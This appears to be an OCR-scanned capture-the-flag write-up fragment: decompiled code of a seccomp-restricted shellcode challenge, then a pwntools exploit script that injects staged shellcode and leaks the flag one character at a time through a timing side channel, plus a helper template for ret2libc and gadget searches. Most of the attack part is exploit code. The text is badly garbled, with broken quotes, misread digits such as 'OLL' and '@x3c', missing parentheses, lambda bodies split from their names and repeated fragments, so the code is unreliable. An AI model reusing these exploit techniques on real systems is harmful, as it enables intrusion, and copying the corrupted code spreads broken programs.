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v9 = _ readfsqword(0x28u);

sub_AEO(al, a2, a3),

buf = OLL;

v8 = OLL;

puts(“"Are you a shellcode master?"),;

alarm(0x14u);

v3 = getpagesize(); _

v6 = (int)mmap((void *)O0x1000, v3, 7, 34, 0, OLL); |
| read (0, &but, OxIls8ull); |
prctl(38, 1LL, OLL, OLL, OLL);
v5 = seccomp_init(OLL);
seccomp_rule_add(v5, 2147418112LL, 15LL, OLL);
seccomp_rule_add(v5, 2147418112LL, 2LL, OLL);
seccomp_rule_add(v5, 2147418112LL, OLL, OLL);
seccomp_rule_add(v5, 2147418112LL, 10LL, OLL);
seccomp_Lload(v5);

*(_QWORD *)(v6 + 16) = v8; |
=

((void (__fastcall *)(__intb4, int64))v6)(3735928559LL, 4919LL);
return ;
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def setread():
global io
# rdi rsi rdx rcx
# read(0,80x10018,0x250)
shellcode = """
push 0x250
pop rdx
xor rsi,rsi
mov rsi,0x10018
xor rdi,rdi
XOor rax,rax

syscall

shellcode = asm(shellcode)
ri()

s(shellcode)

sleep(0.3)
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orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3, 'rsp',0x100)
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orw_payload += f'""'
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,O@x3c
syscall
loop:
jmp loop
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def pwn():

global io
flag = "flag{"
count =1

for i in range (len(flag),0x20):
left = 0
right = 127
while left < right:
setread()
mid = (left + right) >> 1
orw_payload = shellcraft.open('flag')
orw_payload += shellcraft.read(3, 'rsp',0x100)
orw_payload += f'""'
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,@x3c
syscall
loop:
jmp loop
orw_payload = asm(orw_payload)
sl(orw_payload)
start_time = time.time()
try:
io.recv(timeout=0.25)
if time.time() - start_time > 0.1:
left = mid + 1
except:
right = mid
io.close()
clear()
info(f"time-->{count}")
info(flag)
count += 1
io = getprocess()
flag += chr(left)
info(flag)
if flag[-1] == "}":
break
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exp

#!/usr/bin/python3
# -*- coding: UTF-8 -*-

- e
# @File > exp.py

# @Author : woodwhale

# @Time > 2021/10/15 13:49:57

- N e

from pwn import *
from LibcSearcher import *
import sys, subprocess, warnings, os



from pwnlib.adb.adb import shell

def ret2libc(addr,func,binary=null):
LibcSearcher(func,addr)

addr - libc.dump(func)
libc.address+libc.dump( 'system")

libc =
libc.address =
system =
binsh =

libc.address+libc.dump('str_bin_sh")

leak('libc_base',libc.address)
leak('system',system)
leak('binsh',binsh)
return(system,binsh)

def hack(pwn):

global io,binary,libc

times = 0
while True:

info(f'time --> {times}")

try:
times += 1
clear()
pwn()
except:
io.close()

io = getprocess()

def init(binary):

global arglen, elf, path , libc, context, io

arglen = len(sys.argv)

warnings.filterwarnings('ignore")

if binary == null else binary

if binary == null else addr-libc.sym|[func]

if binary == null else libc.sym| 'system']

if binary == null else next(libc.search(b'/bin/sh"'))

context.terminal = ['gnome-terminal','-x", ‘'bash','-c']
elf = ELF(binary)

path

libcpath(binary)

libc = ELF(path)
libc.path = path
elfbit(binary)
io = getprocess()

context.arch =

s =
sa =

sl =

sla =

r =

L =

ru =
1(data,drop,time)
ia =

132 =

164 =

uu32 =
uubd =

ile =

leak =
ormat(name, addr))
info =

pau =

dbg =

lambda
lambda
lambda
lambda
lambda
lambda
lambda

lambda
lambda
lambda
lambda
lambda
lambda
lambda

lambda
lambda
lambda

data

rv,data

data

rv,data

num

keepends=True
data,drop=True,time=null

data
data
data
name, addr

data

point=null

*{point}')) if DEBUG else null

og =

w','-f',libc.path]).decode().strip('\n").split("’

["one sadset'.

--raw'.

lambda

path=null

: io.send(data)

: io.sendafter(rv,data)

: io.sendline(data)

: io.sendlineafter(rv,data)

: io.recv(num)

: io.recvline(keepends)

: io.recvuntil(data,drop) if time == null else io.recvunti

: io.interactive()

: u32(ru(b'\xf7"',False)[-4:].1just(4,b'\x00"))

: ub4(ru(b'\x7f"',False)[-6:].1just(8,b"'\x00"))

: u32(data.ljust(4,b'\x00"))

: ub4(data.ljust(8,b'\x00"))

¢ int(data,16)

: log.success('\033[33m{}\033[0Om = \033[31m{:#x}\033[Om".f

: log.info(f'\@33[36m{data}\033[6m")
: pause() if DEBUG else null

(gdb.attach(io) if point == null else gdb.attach(io,f'b

¢ list(map(int,subprocess.check_output([ 'one gadget','--ra
")) if

'-f' _pathl) _decode() <strin('\n') <anlit(" "))

path == null else list(map(int,subprocess.check_output(
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rg = lambda binary,only,grep : i16(subprocess.check_output([f"ROPgadget --binary {binar
y} --only '{only}' | grep {grep}"],shell=True).decode().split(' ')[@])

setlibc = lambda leak,func : leak - libc.sym[func]

elfbit = lambda binary ¢ '1386' if subprocess.check_output(['file',binary]).decod
e().split(' ")[2] == '32-bit' else 'amd64’

libcpath = lambda binary : subprocess.check_output(|'1ldd',binary]).decode().replace

("', "').split('\n')[1].split(" ")[2] if GLIBC else subprocess.check_output(['ls | grep libc*.so'],shell=True).
decode().strip('\n').split('\n")[0]

proce = lambda binary,libc=null : process(binary) if GLIBC else process(binary,env={'LD_PR
ELOAD':"'./"'+libc})

getprocess = lambda : proce(binary,path) if arglen == 1 else (remote(sys.argv/|
1].split(':")[0@],sys.argv[1].split(':")[1]) if arglen == 2 else remote(sys.argv[1l],sys.argv[2]))

clear = lambda : os.system('clear')

# context.log_Llevel="debug'

DEBUG =1

GLIBC =1

binary = './chall’
init(binary)

def setread():
global io
# rdi rsi rdx rcx
# read(0,&0x10018,0x250)
shellcode = """
push 0x250
pop rdx
xor rsi,rsi
mov rsi,0x10018
xor rdi,rdi
Xor rax,rax
syscall

shellcode = asm(shellcode)

rl()
s(shellcode)
sleep(90.3)

def pwn():
global io
flag = "flag{"
count = 1

for i in range (len(flag),0x20):
left = 0
right = 127
while left < right:
setread()
mid = (left + right) >> 1
orw_payload = shellcraft.open('flag’)
orw_payload += shellcraft.read(3, 'rsp',0x100)
orw_payload += f'""'
mov dl,byte ptr [rsp+{i}]
mov cl,{mid}
cmp dl,cl
ja loop
mov al,@x3c
syscall
loop:
jmp loop



orw_payload = asm(orw_payload
sl(orw_payload
start_time = time.time
try
io.recv(timeout=0.25
if time.time - start_time > 0.1
left = mid + 1
except
right = mid
io.close
clear
info(f"time-->{count}"
info(flag
count += 1
io = getprocess
flag += chr(left
info(flag
if flag[-1] == "}"

break
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